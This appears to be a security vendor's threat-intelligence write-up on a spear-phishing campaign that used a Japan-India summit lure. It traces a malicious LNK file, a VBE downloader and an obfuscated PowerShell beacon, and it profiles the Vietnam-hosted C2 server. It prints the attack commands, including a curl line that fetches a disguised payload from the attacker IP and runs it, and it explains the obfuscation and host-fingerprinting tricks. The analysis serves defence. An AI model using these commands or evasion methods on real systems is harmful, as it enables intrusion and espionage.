Diplomacy in the Crosshairs: Inside the Japan-India Summit Phishing Campaign

Introduction:

The APT Research Team at NetProtector Lab has identified a spear-phishing campaign leveraging a decoy file named 新段階に入った日印の戦略的関係.pdf.zip ("The Strategic Relationship Between Japan and India Has Entered a New Stage"). Based on the lure's naming convention and thematic content, we assess that this campaign was timed to coincide with a recent, high-profile diplomatic event: the 16th India-Japan Annual Summit (July 1-3, 2026).

This summit marked a significant deepening of the two countries' "Special Strategic and Global Partnership," driven substantially by shared concerns over China's regional assertiveness. Key outcomes included a Joint Declaration on Economic Security, progress on the UNICORN naval antenna co-development project (Japan's first defence co-development deal with India, enabled by Tokyo's recent reversal of its lethal-arms-export ban), an AI cooperation framework, and approximately $12.5 billion in fresh Japanese investment pledges.

Given its Quad-adjacent, defense-technology, and supply-chain-resilience implications, the summit represents precisely the type of great-power-competition signalling that rival and adversarial states actively monitor - making it a highly plausible and opportunistic lure theme for a targeted espionage operation against the diplomatic and policy community tracking these developments.

Capitalizing on the visibility and topical relevance of this summit, threat actors have been abusing this lure theme to conduct spear-phishing operations targeting individuals and organizations across both countries.

Infection chain:

Technical Analysis:

Analysis of the ZIP archive revealed that it contains a malicious LNK file. When executed, this LNK file initiates a download of a second-stage payload from an attacker-controlled server, continuing the infection chain.

Upon examining the LNK file, we extracted the following target path. This path executes a command that retrieves the payload from the attacker-controlled IP address, as illustrated in the snapshot below:

Upon execution of the malicious LNK file, the embedded command invokes cmd.exe, which sequentially performs the following actions to ultimately drop and execute the VBE payload in the %AppData%\Roaming folder.

mode 15,1 — Resizes the console window to a minimal footprint, effectively hiding the command execution from the victim's view and reducing suspicion.

explorer http://103[.]77[.]242[.]187/data.pdf — Opens the decoy PDF ("data.pdf") via Windows Explorer, displaying the Japan-India strategic relations lure document to the victim as a distraction, giving the impression that a legitimate file was opened.

curl http://103[.]77[.]242[.]187/logo.png -o %appdata%\bot.vbe — Uses curl to silently download a file disguised as an image (logo.png) from the attacker-controlled server. Despite the .png extension in the URL, the retrieved content is a VBScript Encoded (VBE) file, which is saved to the victim's %AppData%\Roaming directory under the name bot.vbe.

%appdata%\bot.vbe — Executes the newly dropped VBE file, completing the infection chain and handing off execution to the second-stage payload.

The use of a .png extension for a non-image payload is a deliberate evasion technique to bypass file-type filtering and avoid raising suspicion during network transfer.

Analysis of VBE file:

The file begins with the standard VBE header signature pattern, consistent with genuine Microsoft Script Encoder output (not a custom/homegrown obfuscator).

The body consists of high-entropy, non-printable-looking character sequences — a hallmark of the substitution-based encoding scheme used by the Script Encoder, which maps script tokens to a fixed character-translation table.

This encoding is not encryption — it uses a static, publicly documented substitution mechanism, meaning the original VBScript can be recovered deterministically by any tool that implements the known decoding table (this is a well-established technique in the AV/reverse-engineering community for analyzing .vbe/.jse samples).

We have decoded the obfuscated VBE script and found the below PowerShell command, which is responsible for repeatedly making connections to the C2 server.

Once decoded, the VBE script reveals a WScript.Shell object (Fork) used to spawn a heavily obfuscated PowerShell command in a hidden window (Fork.Run original, 0, False - the 0 flag suppresses the console window, and False means the script does not wait for the process to exit).

Obfuscation technique:

The PowerShell command is not stored as a clean string. Instead, the script builds it piece-by-piece using chained. Repeat() and string-concatenation operations on scrambled placeholder tokens (e.g., jwfiglmg, rwgwrg, ergef, sUuiia), which are only reassembled into meaningful keywords at runtime. A final series of Replace () calls then substitutes readable-looking placeholder words for the actual functional strings:

This layered "scramble → repeat → replace" approach is a deliberate anti-analysis technique: static string-matching detections (which look for plaintext indicators like http://, powershell, or IP addresses) find nothing meaningful until the strings are reassembled in memory at execution time.

Host fingerprinting for C2 beaconing:

The script also executes getmac and extracts a substring of the output ($bom[3].substring(0,17)) — this pulls a MAC address from the host, which is then appended to the outbound request as a seed parameter. This is a common technique to:

·         Uniquely fingerprint/track infected hosts on the C2 side

·         Potentially gate or customize the next-stage response per victim (avoiding sandbox/analyst re-use of the same request)

C2 behaviour:

Once reconstructed, the PowerShell command performs a WebClient-based request to 103.77.242.187 with the victim's MAC-derived seed value appended, consistent with the "again and again making C2 connections" behavior your team observed — this suggests a beaconing loop (likely on a timer or triggered on each script re-execution via a persistence mechanism such as a registry Run key or scheduled task), used to check in with the C2 and potentially retrieve further commands or payloads.

Assessment: This confirms the sample functions as a lightweight downloader/beacon, with the actual "final" malicious capability (RAT, infostealer, etc.) likely delivered in response to these repeated C2 check-ins rather than bundled in this stage.

Infrastructure assesment:

Pivoting on the C2 IP address, we identified the following infrastructure details:

ASN: AS150900 (VPSMMOCLOUD-VN — VPSMMO Company Limited), a Vietnam-based hosting provider

Approximate Geolocation: Cai Rang, Can Tho City, Vietnam (10.0332° N, 105.7460° E) 

This is consistent with a low-cost, easily provisioned VPS commonly favoured by threat actors for disposable, short-lived C2 infrastructure.

The IP resolved to the domain zephyr.pjdqinn[.]xyz between 2026-01-02 and 2026-01-05, indicating this infrastructure has been active and repurposed over several months the domain resolution predates the observed July 2026 campaign, suggesting the actor may reuse or rotate this IP across multiple operations rather than standing it up freshly for each campaign. 

Host Fingerprint Correlation:

Both RDP and DCERPC banners consistently reveal the same underlying host identity across scans:

Hostname: WIN-CLJ1B0GQ6JP

OS: Windows 8.1 / Windows Server 2012 R2 (Build 9600)

Self-signed TLS certificate issued to CN=WIN-CLJ1B0GQ6JP, valid 2026-07-03 to 2027-01-02 — the certificate's issuance date (July 3) aligns closely with the start of the observed phishing campaign, suggesting the server may have been freshly provisioned or reconfigured shortly before the campaign went live.

A wide range of RPC interfaces are exposed and reachable over the network (not just locally via NCALRPC), including endpoints tied to spoolsv.exe, wininit.exe, services.exe, samsrv.dll (SAM/LSA - credential-related services), and the Windows Firewall management protocol (MS-FASP). This breadth of exposed RPC surface- particularly SAM/LSA endpoints - indicates the host is not hardened and is likely a bare VPS instance provisioned purely as attacker infrastructure rather than a legitimately administered server.

This host profile - a Vietnamese VPS running an outdated/EOL Windows Server build, with RDP/SMB/WinRM all exposed and a certificate freshly issued right before the campaign - is consistent with a quickly provisioned, disposable attacker-controlled C2/staging server, likely rented specifically to support this campaign's payload hosting and beaconing infrastructure, with historical DNS activity suggesting the same infrastructure (or provider) has been reused across earlier operations.

Conclusion:

The NetProtector APT Research Team has uncovered a targeted espionage campaign exploiting the diplomatic significance of the 16th India-Japan Annual Summit to lure victims across both nations. The infection chain from a disguised LNK file to an obfuscated PowerShell loader performing host fingerprinting and persistent C2 beaconing reflects a deliberate, well-planned operation rather than opportunistic crimeware.

Infrastructure analysis of the Vietnam-hosted C2 (103.77.242.187) revealed a poorly hardened VPS provisioned close to the campaign's launch date, with historical DNS activity suggesting reuse across prior operations. While formal attribution remains inconclusive, the toolchain and targeting pattern align with known state-linked espionage tradecraft focused on Indo-Pacific diplomatic circles.

The NetProtector APT Research Team will continue monitoring this infrastructure and recommends treating summit-themed or geopolitically titled attachments with heightened scrutiny.

Detection Coverage:

MITRE ATT&CK:

Stay protected against advanced spear-phishing and nation-state cyber threats with NPAV Endpoint Security